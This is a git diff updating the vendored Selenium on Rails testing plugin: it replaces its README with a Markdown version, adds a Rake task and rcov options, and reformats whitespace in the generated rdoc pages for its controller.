-6. Start the server: script/server -e test
-7. Point your browser to localhost:3000/selenium
-8. If everything works as expected you should see the Selenium test runner. The north east frame contains all your test cases (just one for now), and the north frame contains your test case.
-
-== Installation for rails versions before Rails 2.1
-
-Rails has been changed in ways that break the original versions of Selenium on Rails. If you're using versions before Rails 2.1 you need to use this release. There are no plans to update this release with new changes or bug fixes unless there is sufficient demand, so if you can update then do so.
-
-1. Install Selenium on Rails: script/plugin install http://svn.openqa.org/svn/selenium-on-rails/tags/pre-rails-2-1/selenium-on-rails
-2. If you‘re on Windows, gem install win32-open3
-3. If the RedCloth gem is available the Selenese test cases can use it for better markup.
-4. Run the Rakefile in the plugin‘s directory to run the tests in order to see that everything works. (If RedCloth isn‘t installed a few tests will fail since they assume RedCloth is installed.)
-5. Create a test case: script/generate selenium login
-6. Start the server: script/server -e test
-7. Point your browser to localhost:3000/selenium
-8. If everything works as expected you should see the Selenium test runner. The north east frame contains all your test cases (just one for now), and the north frame contains your test case.
-
-
-== Formats
-
-The test cases can be written in a number of formats. Which one you choose is a 
-matter of taste. You can generate your test files by running 
-<tt>script/generate selenium</tt> or by creating them manually in your 
-<tt>/test/selenium</tt> directory.
-
-=== Selenese, .sel
-
-Selenese is the dumbest format (in a good way). You just write your commands
-delimited by | characters.
-
- |open|/selenium/setup|
- |open|/|
- |goBack|
-
-If you don't want to write Selenese tests by hand you can use
-SeleniumIDE[http://www.openqa.org/selenium-ide/] which has 
-support[http://wiki.openqa.org/display/SIDE/SeleniumOnRails] for Selenese.
-
-SeleniumIDE makes it super easy to record test and edit them.
-
-=== RSelenese, .rsel
-
-RSelenese enable you to write your tests in Ruby.
-
- setup :fixtures => :all
- open '/'
- assert_title 'Home'
- ('a'..'z').each {|c| open :controller => 'user', :action => 'create', :name => c }
-
-See SeleniumOnRails::TestBuilder for available commands.
-
-=== HTML/RHTML
-
-You can write your tests in HTML/RHTML but that's mostly useful if you have 
-existing tests you want to reuse.
-
-=== Partial test cases
-
-If you have some common actions you want to do in several test cases you can put
-them in a separate partial test case and include them in your other test cases.
-
-A partial test case is just like a normal test case besides that its filename
-has to start with _:
-
- #_login.rsel
- open '/login'
- type 'name', name
- type 'password', password
- click 'submit', :wait=>true
-
-To include a partial test case you write like this in a Selenese test case:
-
- |includePartial|login|name=John Doe|password=eoD nhoJ|
-
-in a RSelenese test case:
- 
- include_partial 'login', :name => 'Jane Doe', :password => 'Jane Doe'.reverse
-
-and in a RHTML test case:
-
- <%= render :partial => 'login', :locals => {:name = 'Joe Schmo', :password => 'Joe Schmo'.reverse} %>
-
-== Configuration
-
-There are a number of settings available. You make them by copying <tt>config.yml.example</tt> to <tt>config/selenium.yml</tt> in your application and make your changes in that file.
-
-=== Environments
-
-Per default this plugin is only available in test environment. You can change 
-this by setting <tt>environments</tt>, such as:
-
- #config.yml
- environments:
-   - test
-   - development
-
-=== Selenium Core path
-
-If you don't want to use the bundled Selenium Core version you can set 
-<tt>selenium_path</tt> to the directory where Selenium Core is stored.
-
- #config.yml
- selenium_path: 'c:\selenium'
-
-== <tt>test:acceptance</tt>
-
-You can run all your Selenium tests as a Rake task.
-
-First, if you're on Windows, you have to make sure win32-open3 is installed. 
-Then you have to configure which browsers you want to run, like this:
- 
- #config.yml
- browsers:
-   firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
-   ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
-
-Now you're all set. First start a server:
-
- script/server -e test
-
-Then run the tests:
-
- rake test:acceptance
-
-Now it should work, otherwise let me know!
-
-=== Store results
-
-If you want to store the results from a <tt>test:acceptance</tt> you just need
-to set in which directory they should be stored:
-
- #config.yml
- result_dir: 'c:\result'
-
-So when you run <tt>rake test:acceptance</tt> the tables with the results will
-be stored as <tt>.html</tt> files in that directory.
-
-This can be useful especially for continous integration.
-
-=== user_extension.js
-
-Selenium has support for <tt>user_extension.js</tt> which is a way to extend the 
-functionality of Selenium Core. Selenium on Rails now provides the means for you
-to extend it's functionality to match.
-
-To get you started, we've included the example files 
-<tt>lib/test_builder_user_accessors.rb.example</tt> and 
-<tt>lib/test_builder_user_actions.rb.example</tt> that replicate the sample
-extensions in Selenium Core's <tt>user-extensions.js.sample</tt>
-
-To get these examples running, simply remove the .example and .sample extensions 
-from the files and restart your server.
-
-== Todo
-
-=== Standalone mode
-
-More work is needed on <tt>test:acceptance</tt> on Windows to be able to start 
-the server when needed.
-
-=== More setup/teardown support?
-
-Currently there is only support to load fixtures and to wipe the session in
-<tt>/selenium/setup</tt>. Is there a need for more kinds of setups or teardowns?
-
-=== More documentation
-
-
-== Not todo
-
-=== Editor
-
-Creating an editor for the test cases is currently considered out of scope for 
-this plugin. SeleniumIDE[http://www.openqa.org/selenium-ide/] does such a good 
-job and has support[http://wiki.openqa.org/display/SIDE/SeleniumOnRails] for 
-the Selenese format.
-
-== Credits
-
-* Jon Tirsen, http://jutopia.tirsen.com -- initial inspiration[http://wiki.rubyonrails.com/rails/pages/SeleniumIntegration]
-* Eric Kidd, http://www.randomhacks.net -- contribution of RSelenese
-* Jonas Bengston -- original creator
-* Marcos Tapajos -- Several useful features
-* Ryan Bates, http://railscasts.com -- Fixes for Rails 2.1
-
-== Information
-
-For more information, check out the website[http://www.openqa.org/selenium-on-rails/].
diff --git a/vendor/plugins/selenium-on-rails/README.md b/vendor/plugins/selenium-on-rails/README.md
new file mode 100644
index 00000000..58638a6b
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/README.md
@@ -0,0 +1,202 @@
+Welcome to the Selenium on Rails README.  Exciting isn't it?
+
+# Selenium on Rails #
+
+## Overview ##
+
+Selenium on Rails provides an easy way to test Rails application with 
+SeleniumCore[http://www.openqa.org/selenium-core/].
+
+This plugin does four things:
+
+1. The Selenium Core files don't have to pollute <tt>/public</tt>.
+2. No need to create suite files, they are generated on the fly -- one suite per directory in <tt>/test/selenium</tt> (suites can be nested).
+3. Instead of writing the test cases in HTML you can use a number of better formats (see <tt>Formats</tt>).
+4. Loading of fixtures and wiping of session (<tt>/selenium/setup</tt>).
+
+## Installation ##
+
+Rails periodically changes the way that it renders pages, which unfortunately breaks backwards versions of Selenium on Rails.  Therefore there are different
+installation locations depending on your version of Rails:
+
+*Rails 2.2 and up:*
+
+	http://svn.openqa.org/svn/selenium-on-rails/stable/selenium-on-rails
+
+
+*Rails 2.1:*
+
+	http://svn.openqa.org/svn/selenium-on-rails/tags/rails_2_1/selenium-on-rails
+
+
+*Before Rails 2.1:*
+
+	http://svn.openqa.org/svn/selenium-on-rails/tags/pre-rails-2-1/selenium-on-rails
+
+
+The latest release is always kept on GitHub at 
+
+	git clone git://github.com/paytonrules/selenium-on-rails.git
+
+
+To install:
+
+1. Install Selenium on Rails: script/plugin install <URL>
+2. If you‘re on Windows, gem install win32-open3
+3. If the RedCloth gem is available the Selenese test cases can use it for better markup.
+4. Run the Rakefile in the plugin‘s directory to run the tests in order to see that everything works. (If RedCloth isn‘t installed a few tests will fail since they assume RedCloth is installed.)
+5. Create a test case: script/generate selenium <TestName>
+6. Start the server: script/server -e test
+7. Point your browser to localhost:3000/selenium
+8. If everything works as expected you should see the Selenium test runner. The north east frame contains all your test cases (just one for now), and the north frame contains your test case.
+
+## Formats ##
+
+The test cases can be written in a number of formats. Which one you choose is a matter of taste. You can generate your test files by running script/generate selenium or by creating them manually in your /test/selenium directory.
+
+## RSelenese, .rsel ##
+
+RSelenese lets you write your tests in Ruby. This is my favorite format.
+
+	setup :fixtures => :all
+	open '/'
+	assert_title 'Home'
+	('a'..'z').each {|c| open :controller => 'user', :action => 'create', :name => c }
+
+See SeleniumOnRails::TestBuilder for available commands. *IMPORTANT NOTE:* RSelenese generates the HTML tables for Selenium behind the scenes when the page is loaded - ONCE. That means code like this:
+
+	(1..10).each do |index|
+		do something
+	end
+
+Will only be executed when the test is loaded, not when the test is run. This is a common error and leads to tests that work the first time and fail the second time.
+
+## Selenese, .sel ##
+
+Selenese is the dumbest format (in a good way). You just write your commands delimited by | characters.
+
+	|open|/selenium/setup|
+	|open|/|
+	|goBack|
+
+If you don‘t want to write Selenese tests by hand you can use SeleniumIDE which has support for Selenese.
+
+## HTML/RHTML ##
+
+You can write your tests in HTML/RHTML but that‘s mostly useful if you have existing tests you want to reuse.
+
+## Partial test cases ##
+
+If you have some common actions you want to do in several test cases you can put them in a separate partial test case and include them in your other test cases. This is highly recommended, just as small functions would be recommended in structured programming.
+
+A partial test case is just like a normal test case besides that its filename has to start with _:
+
+	#_login.rsel
+	open '/login'
+	type 'name', name
+	type 'password', password
+	click 'submit', :wait=>true
+
+To include a partial test case in a RSelenese test case:
+
+	include_partial 'login', :name => 'Jane Doe', :password => 'Jane Doe'.reverse
+
+in a Selenese test case:
+
+	|includePartial|login|name=John Doe|password=eoD nhoJ|
+
+and in a RHTML test case:
+
+	<%= render :partial => 'login', :locals => {:name = 'Joe Schmo', :password => 'Joe Schmo'.reverse} %>
+
+## Configuration ##
+
+There are a number of settings available. You make them by renaming selenium.yml.example to selenium.yml and placing it in your rails app's config 
+file.  Make your changes in that file.
+
+## Environments ##
+
+Per default this plugin is only available in test environment. You can change this by setting environments, such as:
+
+	#selenium.yml
+	environments:
+		- test
+		- development
+
+## Selenium Core path ##
+
+If you don‘t want to use the bundled Selenium Core version you can set selenium_path to the directory where Selenium Core is stored.
+
+	#config.yml
+	selenium_path: 'c:\selenium'
+
+## Rake Task ##
+
+You can run all your Selenium tests as a Rake task. If you're using a continuous builder this is a great way to integrate selenium into your build process.  First, if you‘re on Windows, you have to make sure win32-open3 is installed. Then you have to configure which browsers you want to run, like this:
+
+
+	#config.yml
+	browsers:
+		firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
+		ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
+
+Now you‘re all set. First start a server:
+
+	script/server -e test
+
+Then run the tests:
+	
+	rake test:acceptance
+	
+Now it should work, otherwise let me know!
+
+## Store results ##
+
+If you want to store the results from a test:acceptance you just need to set in which directory they should be stored:
+
+	#config.yml
+	result_dir: 'c:\result'
+	
+So when you run rake test:acceptance the tables with the results will be stored as .html files in that directory.
+
+## user_extension.js ##
+
+Selenium has support for user_extension.js which is a way to extend the functionality of Selenium Core. Selenium on Rails now provides the means for you to extend it's functionality to match.
+
+To get you started, we've included the example files lib/test\_builder\_user\_accessors.rb.example and lib/test\_builder\_user\_actions.rb.example that replicate the sample extensions in Selenium Core's user-extensions.js.sample.
+
+To get these examples running, simply remove the .example and .sample extensions 
+from the files and restart your server.
+
+## Todo ##
+
+* Standalone mode
+	More work is needed on test:acceptance< on Windows to be able to start the server when needed.
+
+* Documentation update
+
+
+## Not todo ##
+
+* Editor
+	Creating an editor for the test cases is currently considered out of scope for this plugin. SeleniumIDE[http://www.openqa.org/selenium-ide/] does such a good  job and has support[http://wiki.openqa.org/display/SIDE/SeleniumOnRails] for both the Selenese and RSelenese formats.
+
+## Credits ##
+
+* Jonas Bengston -- original creator
+* Eric Smith, http://blog.8thlight.com/eric -- Current Maintainer
+* Jon Tirsen, http://jutopia.tirsen.com -- initial inspiration[http://wiki.rubyonrails.com/rails/pages/SeleniumIntegration]
+* Eric Kidd, http://www.randomhacks.net -- contribution of RSelenese
+* Marcos Tapajós http://www.improveit.com.br/en/company/tapajos -- Several useful features, current committer
+* Ryan Bates, http://railscasts.com -- Fixes for Rails 2.1
+* Nando Vieira, http://simplesideias.com.br
+* Gordon McCreight, a neat script that lists any unsupported methods
+
+## Contributing ## 
+
+Contributing is simple.  Fork this repo, make your changes, then issue a pull request.  *IMPORTANT* I will not take forks that do not have associated unit tests.  There must be tests, and they must pass, so I can bring the changes in.
+
+
+## Information ##
+
+For more information, check out the [website](http://seleniumhq.org/projects/on-rails/).
diff --git a/vendor/plugins/selenium-on-rails/Rakefile b/vendor/plugins/selenium-on-rails/Rakefile
index a9e0b0b8..60d4c1d1 100644
--- a/vendor/plugins/selenium-on-rails/Rakefile
+++ b/vendor/plugins/selenium-on-rails/Rakefile
@@ -12,6 +12,16 @@ Rake::TestTask.new(:test) do |t|
   t.verbose = true
 end
 
+desc 'Test the Selenium on Rails plugin, and run the _authortest.rb files, too'
+Rake::TestTask.new(:alltests) do |t|
+  t.libs << 'lib'
+  # note: Both pattern and test_files are used, so the list of test files is
+  # the union of the two. 
+  t.pattern = 'test/**/*_test.rb'
+  t.test_files = FileList['test/**/*_authortest.rb']
+  t.verbose = true
+end
+
 desc 'Generate documentation for the Selenium on Rails plugin.'
 task :rdoc do
   rm_rf 'doc'
@@ -22,6 +32,7 @@ begin
   require 'rcov/rcovtask'
   Rcov::RcovTask.new do |t|
     t.test_files = FileList['test/*_test.rb']
+    t.rcov_opts = ['-x /site_ruby/ -x .*gems.* --rails']
   end
 rescue LoadError #if rcov isn't available, ignore
 end
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumController.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumController.html
index 0ce92a24..4df321ba 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumController.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumController.html
@@ -134,16 +134,16 @@
           <div class="method-source-code" id="M000006-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/controllers/selenium_controller.rb, line 50</span>
-50:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">record</span>
-51:     <span class="ruby-identifier">dir</span> = <span class="ruby-identifier">record_table</span>
-52: 
-53:     <span class="ruby-ivar">@result</span> = {<span class="ruby-value str">'resultDir'</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">dir</span>}
-54:     <span class="ruby-keyword kw">for</span> <span class="ruby-identifier">p</span> <span class="ruby-keyword kw">in</span> [<span class="ruby-value str">'result'</span>, <span class="ruby-value str">'numTestFailures'</span>, <span class="ruby-value str">'numTestPasses'</span>, <span class="ruby-value str">'numCommandFailures'</span>, <span class="ruby-value str">'numCommandPasses'</span>, <span class="ruby-value str">'numCommandErrors'</span>, <span class="ruby-value str">'totalTime'</span>]
-55:       <span class="ruby-ivar">@result</span>[<span class="ruby-identifier">p</span>] = <span class="ruby-identifier">params</span>[<span class="ruby-identifier">p</span>]
-56:     <span class="ruby-keyword kw">end</span>
-57:     <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">log_path</span>(<span class="ruby-identifier">params</span>[<span class="ruby-identifier">:logFile</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">'default.yml'</span>), <span class="ruby-value str">'w'</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-constant">YAML</span>.<span class="ruby-identifier">dump</span>(<span class="ruby-ivar">@result</span>, <span class="ruby-identifier">f</span>)}
-58:     
-59:     <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'record.rhtml'</span>), <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout_path</span>
+50:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">record</span>
+51:     <span class="ruby-identifier">dir</span> = <span class="ruby-identifier">record_table</span>
+52: 
+53:     <span class="ruby-ivar">@result</span> = {<span class="ruby-value str">'resultDir'</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">dir</span>}
+54:     <span class="ruby-keyword kw">for</span> <span class="ruby-identifier">p</span> <span class="ruby-keyword kw">in</span> [<span class="ruby-value str">'result'</span>, <span class="ruby-value str">'numTestFailures'</span>, <span class="ruby-value str">'numTestPasses'</span>, <span class="ruby-value str">'numCommandFailures'</span>, <span class="ruby-value str">'numCommandPasses'</span>, <span class="ruby-value str">'numCommandErrors'</span>, <span class="ruby-value str">'totalTime'</span>]
+55:       <span class="ruby-ivar">@result</span>[<span class="ruby-identifier">p</span>] = <span class="ruby-identifier">params</span>[<span class="ruby-identifier">p</span>]
+56:     <span class="ruby-keyword kw">end</span>
+57:     <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">log_path</span>(<span class="ruby-identifier">params</span>[<span class="ruby-identifier">:logFile</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">'default.yml'</span>), <span class="ruby-value str">'w'</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-constant">YAML</span>.<span class="ruby-identifier">dump</span>(<span class="ruby-ivar">@result</span>, <span class="ruby-identifier">f</span>)}
+58:     
+59:     <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'record.rhtml'</span>), <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout_path</span>
 60:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -165,14 +165,14 @@
           <div class="method-source-code" id="M000003-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/controllers/selenium_controller.rb, line 7</span>
- 7:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup</span>
- 8:     <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">params</span>.<span class="ruby-identifier">has_key?</span> <span class="ruby-identifier">:keep_session</span>
- 9:       <span class="ruby-identifier">reset_session</span>
-10:       <span class="ruby-ivar">@session_wiped</span> = <span class="ruby-keyword kw">true</span>
-11:     <span class="ruby-keyword kw">end</span>
-12:     <span class="ruby-ivar">@cleared_tables</span> = <span class="ruby-identifier">clear_tables</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:clear_tables</span>].<span class="ruby-identifier">to_s</span>
-13:     <span class="ruby-ivar">@loaded_fixtures</span> = <span class="ruby-identifier">load_fixtures</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:fixtures</span>].<span class="ruby-identifier">to_s</span>
-14:     <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'setup.rhtml'</span>), <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout_path</span>
+ 7:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup</span>
+ 8:     <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">params</span>.<span class="ruby-identifier">has_key?</span> <span class="ruby-identifier">:keep_session</span>
+ 9:       <span class="ruby-identifier">reset_session</span>
+10:       <span class="ruby-ivar">@session_wiped</span> = <span class="ruby-keyword kw">true</span>
+11:     <span class="ruby-keyword kw">end</span>
+12:     <span class="ruby-ivar">@cleared_tables</span> = <span class="ruby-identifier">clear_tables</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:clear_tables</span>].<span class="ruby-identifier">to_s</span>
+13:     <span class="ruby-ivar">@loaded_fixtures</span> = <span class="ruby-identifier">load_fixtures</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:fixtures</span>].<span class="ruby-identifier">to_s</span>
+14:     <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'setup.rhtml'</span>), <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout_path</span>
 15:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -194,20 +194,20 @@
           <div class="method-source-code" id="M000005-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/controllers/selenium_controller.rb, line 34</span>
-34:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">support_file</span>
-35:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:filename</span>].<span class="ruby-identifier">empty?</span>
-36:       <span class="ruby-identifier">redirect_to</span> <span class="ruby-identifier">:filename</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'TestRunner.html'</span>, <span class="ruby-identifier">:test</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'tests'</span>
-37:       <span class="ruby-keyword kw">return</span>
-38:     <span class="ruby-keyword kw">end</span>
-39: 
-40:     <span class="ruby-identifier">filename</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span> <span class="ruby-identifier">selenium_path</span>, <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:filename</span>]
-41:     <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">file?</span> <span class="ruby-identifier">filename</span>
-42:       <span class="ruby-identifier">type</span> = <span class="ruby-constant">WEBrick</span><span class="ruby-operator">::</span><span class="ruby-constant">HTTPUtils</span><span class="ruby-operator">::</span><span class="ruby-constant">DefaultMimeTypes</span>[<span class="ruby-identifier">$1</span>.<span class="ruby-identifier">downcase</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">filename</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/\.(\w+)$/</span>
-43:       <span class="ruby-identifier">type</span> <span class="ruby-operator">||=</span> <span class="ruby-value str">'text/html'</span>
-44:       <span class="ruby-identifier">send_file</span> <span class="ruby-identifier">filename</span>, <span class="ruby-identifier">:type</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">type</span>, <span class="ruby-identifier">:disposition</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'inline'</span>, <span class="ruby-identifier">:stream</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">false</span>
-45:     <span class="ruby-keyword kw">else</span>
-46:       <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'Not found'</span>, <span class="ruby-identifier">:status</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">404</span>
-47:     <span class="ruby-keyword kw">end</span>
+34:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">support_file</span>
+35:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:filename</span>].<span class="ruby-identifier">empty?</span>
+36:       <span class="ruby-identifier">redirect_to</span> <span class="ruby-identifier">:filename</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'TestRunner.html'</span>, <span class="ruby-identifier">:test</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'tests'</span>
+37:       <span class="ruby-keyword kw">return</span>
+38:     <span class="ruby-keyword kw">end</span>
+39: 
+40:     <span class="ruby-identifier">filename</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span> <span class="ruby-identifier">selenium_path</span>, <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:filename</span>]
+41:     <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">file?</span> <span class="ruby-identifier">filename</span>
+42:       <span class="ruby-identifier">type</span> = <span class="ruby-constant">WEBrick</span><span class="ruby-operator">::</span><span class="ruby-constant">HTTPUtils</span><span class="ruby-operator">::</span><span class="ruby-constant">DefaultMimeTypes</span>[<span class="ruby-identifier">$1</span>.<span class="ruby-identifier">downcase</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">filename</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/\.(\w+)$/</span>
+43:       <span class="ruby-identifier">type</span> <span class="ruby-operator">||=</span> <span class="ruby-value str">'text/html'</span>
+44:       <span class="ruby-identifier">send_file</span> <span class="ruby-identifier">filename</span>, <span class="ruby-identifier">:type</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">type</span>, <span class="ruby-identifier">:disposition</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'inline'</span>, <span class="ruby-identifier">:stream</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">false</span>
+45:     <span class="ruby-keyword kw">else</span>
+46:       <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'Not found'</span>, <span class="ruby-identifier">:status</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">404</span>
+47:     <span class="ruby-keyword kw">end</span>
 48:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -229,21 +229,21 @@
           <div class="method-source-code" id="M000004-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/controllers/selenium_controller.rb, line 17</span>
-17:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">test_file</span>
-18:     <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:testname</span>] = <span class="ruby-value str">''</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:testname</span>].<span class="ruby-identifier">to_s</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'TestSuite.html'</span>
-19:     <span class="ruby-identifier">filename</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span> <span class="ruby-identifier">selenium_tests_path</span>, <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:testname</span>]
-20:     <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span> <span class="ruby-identifier">filename</span>
-21:       <span class="ruby-ivar">@suite_path</span> = <span class="ruby-identifier">filename</span>
-22:       <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'test_suite.rhtml'</span>), <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout_path</span>
-23:     <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">readable?</span> <span class="ruby-identifier">filename</span>
-24:       <span class="ruby-identifier">render_test_case</span> <span class="ruby-identifier">filename</span>
-25:     <span class="ruby-keyword kw">else</span>
-26:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span> <span class="ruby-identifier">selenium_tests_path</span>
-27:         <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'Not found'</span>, <span class="ruby-identifier">:status</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">404</span>
-28:       <span class="ruby-keyword kw">else</span>
-29:         <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-node">&quot;Did not find the Selenium tests path (#{selenium_tests_path}). Run script/generate selenium&quot;</span>, <span class="ruby-identifier">:status</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">404</span>
-30:       <span class="ruby-keyword kw">end</span>
-31:     <span class="ruby-keyword kw">end</span>
+17:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">test_file</span>
+18:     <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:testname</span>] = <span class="ruby-value str">''</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:testname</span>].<span class="ruby-identifier">to_s</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'TestSuite.html'</span>
+19:     <span class="ruby-identifier">filename</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span> <span class="ruby-identifier">selenium_tests_path</span>, <span class="ruby-identifier">params</span>[<span class="ruby-identifier">:testname</span>]
+20:     <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span> <span class="ruby-identifier">filename</span>
+21:       <span class="ruby-ivar">@suite_path</span> = <span class="ruby-identifier">filename</span>
+22:       <span class="ruby-identifier">render</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">view_path</span>(<span class="ruby-value str">'test_suite.rhtml'</span>), <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout_path</span>
+23:     <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">readable?</span> <span class="ruby-identifier">filename</span>
+24:       <span class="ruby-identifier">render_test_case</span> <span class="ruby-identifier">filename</span>
+25:     <span class="ruby-keyword kw">else</span>
+26:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span> <span class="ruby-identifier">selenium_tests_path</span>
+27:         <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'Not found'</span>, <span class="ruby-identifier">:status</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">404</span>
+28:       <span class="ruby-keyword kw">else</span>
+29:         <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-node">&quot;Did not find the Selenium tests path (#{selenium_tests_path}). Run script/generate selenium&quot;</span>, <span class="ruby-identifier">:status</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">404</span>
+30:       <span class="ruby-keyword kw">end</span>
+31:     <span class="ruby-keyword kw">end</span>
 32:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumHelper.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumHelper.html
index 76f3084c..ab8fd2c4 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumHelper.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumHelper.html
@@ -125,8 +125,8 @@
           <div class="method-source-code" id="M000008-source">
 <pre>
    <span class="ruby-comment cmt"># File lib/selenium_helper.rb, line 5</span>
